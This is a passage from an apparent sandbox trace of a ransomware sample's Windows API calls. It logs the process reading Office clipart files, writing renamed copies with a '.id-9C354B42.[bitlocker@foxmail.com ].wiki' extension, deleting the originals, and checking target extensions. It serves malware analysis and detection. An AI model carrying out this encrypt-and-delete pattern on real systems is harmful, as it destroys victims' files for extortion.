office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.964] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.964] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0187.965] GetLastError () returned 0x0 [0187.965] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x7e8, lpOverlapped=0x0) returned 1 [0187.966] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0187.967] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.967] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.967] SetEndOfFile (hFile=0x20c) returned 1 [0187.968] CloseHandle (hObject=0x20c) returned 1 [0187.968] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.968] SetEndOfFile (hFile=0x1d8) returned 1 [0187.968] CloseHandle (hObject=0x1d8) returned 1 [0187.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0187.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0187.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0187.969] lstrlenW (lpString=".doc") returned 4 [0187.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.969] lstrlenW (lpString=".docx") returned 5 [0187.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.969] lstrlenW (lpString=".pdf") returned 4 [0187.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.969] lstrlenW (lpString=".xls") returned 4 [0187.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.969] lstrlenW (lpString=".xlsx") returned 5 [0187.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.969] lstrlenW (lpString=".ppt") returned 4 [0187.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0187.969] lstrlenW (lpString=".zip") returned 4 [0187.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.969] lstrlenW (lpString=".rar") returned 4 [0187.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.969] lstrlenW (lpString=".bz2") returned 4 [0187.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.970] lstrlenW (lpString=".7z") returned 3 [0187.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0187.970] lstrlenW (lpString=".dbf") returned 4 [0187.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0187.970] lstrlenW (lpString=".1cd") returned 4 [0187.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0187.970] lstrlenW (lpString=".jpg") returned 4 [0187.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0187.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0187.970] lstrlenW (lpString=".doc") returned 4 [0187.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.970] lstrlenW (lpString=".docx") returned 5 [0187.970] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.970] lstrlenW (lpString=".pdf") returned 4 [0187.970] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.970] lstrlenW (lpString=".xls") returned 4 [0187.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.970] lstrlenW (lpString=".xlsx") returned 5 [0187.970] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.970] lstrlenW (lpString=".ppt") returned 4 [0187.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0187.970] lstrlenW (lpString=".zip") returned 4 [0187.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.970] lstrlenW (lpString=".rar") returned 4 [0187.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.971] lstrlenW (lpString=".bz2") returned 4 [0187.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.971] lstrlenW (lpString=".7z") returned 3 [0187.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0187.971] lstrlenW (lpString=".dbf") returned 4 [0187.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0187.971] lstrlenW (lpString=".1cd") returned 4 [0187.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0187.971] lstrlenW (lpString=".jpg") returned 4 [0187.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.971] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.971] lstrlenW (lpString="DD01180_.WMF") returned 12 [0187.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.972] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2084) returned 1 [0187.972] CloseHandle (hObject=0x1d8) returned 1 [0187.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x20 [0187.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.972] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.972] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0187.972] GetLastError () returned 0x0 [0187.972] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x824, lpOverlapped=0x0) returned 1 [0187.974] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x830, lpOverlapped=0x0) returned 1 [0187.975] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0187.975] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.975] SetEndOfFile (hFile=0x20c) returned 1 [0187.975] CloseHandle (hObject=0x20c) returned 1 [0187.975] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.975] SetEndOfFile (hFile=0x1d8) returned 1 [0187.976] CloseHandle (hObject=0x1d8) returned 1 [0187.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0187.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0187.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0187.978] lstrlenW (lpString=".doc") returned 4 [0187.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.978] lstrlenW (lpString=".docx") returned 5 [0187.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.978] lstrlenW (lpString=".pdf") returned 4 [0187.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.978] lstrlenW (lpString=".xls") returned 4 [0187.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.978] lstrlenW (lpString=".xlsx") returned 5 [0187.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.978] lstrlenW (lpString=".ppt") returned 4 [0187.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0187.978] lstrlenW (lpString=".zip") returned 4 [0187.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.978] lstrlenW (lpString=".rar") returned 4 [0187.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.978] lstrlenW (lpString=".bz2") returned 4 [0187.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.979] lstrlenW (lpString=".7z") returned 3 [0187.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0187.979] lstrlenW (lpString=".dbf") returned 4 [0187.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0187.979] lstrlenW (lpString=".1cd") returned 4 [0187.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0187.979] lstrlenW (lpString=".jpg") returned 4 [0187.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0187.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0187.979] lstrlenW (lpString=".doc") returned 4 [0187.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.979] lstrlenW (lpString=".docx") returned 5 [0187.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.979] lstrlenW (lpString=".pdf") returned 4 [0187.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.979] lstrlenW (lpString=".xls") returned 4 [0187.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.979] lstrlenW (lpString=".xlsx") returned 5 [0187.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.979] lstrlenW (lpString=".ppt") returned 4 [0187.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0187.979] lstrlenW (lpString=".zip") returned 4 [0187.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.979] lstrlenW (lpString=".rar") returned 4 [0187.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.980] lstrlenW (lpString=".bz2") returned 4 [0187.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.980] lstrlenW (lpString=".7z") returned 3 [0187.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0187.980] lstrlenW (lpString=".dbf") returned 4 [0187.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0187.980] lstrlenW (lpString=".1cd") returned 4 [0187.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0187.980] lstrlenW (lpString=".jpg") returned 4 [0187.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.980] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.980] lstrlenW (lpString="DD01181_.WMF") returned 12 [0187.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.981] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1448) returned 1 [0187.981] CloseHandle (hObject=0x1d8) returned 1 [0187.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x20 [0187.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.993] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.993] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0187.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0187.994] GetLastError () returned 0x0 [0187.994] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x5a8, lpOverlapped=0x0) returned 1 [0188.002] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0188.003] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.003] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.003] SetEndOfFile (hFile=0x20c) returned 1 [0188.003] CloseHandle (hObject=0x20c) returned 1 [0188.003] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.004] SetEndOfFile (hFile=0x1d8) returned 1 [0188.004] CloseHandle (hObject=0x1d8) returned 1 [0188.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0188.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0188.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0188.005] lstrlenW (lpString=".doc") returned 4 [0188.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.005] lstrlenW (lpString=".docx") returned 5 [0188.005] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.005] lstrlenW (lpString=".pdf") returned 4 [0188.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.005] lstrlenW (lpString=".xls") returned 4 [0188.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.005] lstrlenW (lpString=".xlsx") returned 5 [0188.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.005] lstrlenW (lpString=".ppt") returned 4 [0188.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0188.005] lstrlenW (lpString=".zip") returned 4 [0188.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.005] lstrlenW (lpString=".rar") returned 4 [0188.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.005] lstrlenW (lpString=".bz2") returned 4 [0188.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.005] lstrlenW (lpString=".7z") returned 3 [0188.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0188.005] lstrlenW (lpString=".dbf") returned 4 [0188.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0188.005] lstrlenW (lpString=".1cd") returned 4 [0188.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0188.006] lstrlenW (lpString=".jpg") returned 4 [0188.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0188.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0188.006] lstrlenW (lpString=".doc") returned 4 [0188.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.006] lstrlenW (lpString=".docx") returned 5 [0188.006] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.006] lstrlenW (lpString=".pdf") returned 4 [0188.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.006] lstrlenW (lpString=".xls") returned 4 [0188.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.006] lstrlenW (lpString=".xlsx") returned 5 [0188.006] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.006] lstrlenW (lpString=".ppt") returned 4 [0188.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0188.006] lstrlenW (lpString=".zip") returned 4 [0188.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.006] lstrlenW (lpString=".rar") returned 4 [0188.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.006] lstrlenW (lpString=".bz2") returned 4 [0188.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.006] lstrlenW (lpString=".7z") returned 3 [0188.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0188.006] lstrlenW (lpString=".dbf") returned 4 [0188.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0188.006] lstrlenW (lpString=".1cd") returned 4 [0188.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0188.007] lstrlenW (lpString=".jpg") returned 4 [0188.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.007] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.007] lstrlenW (lpString="DD01183_.WMF") returned 12 [0188.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.007] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2296) returned 1 [0188.007] CloseHandle (hObject=0x1d8) returned 1 [0188.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x20 [0188.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.008] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.008] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 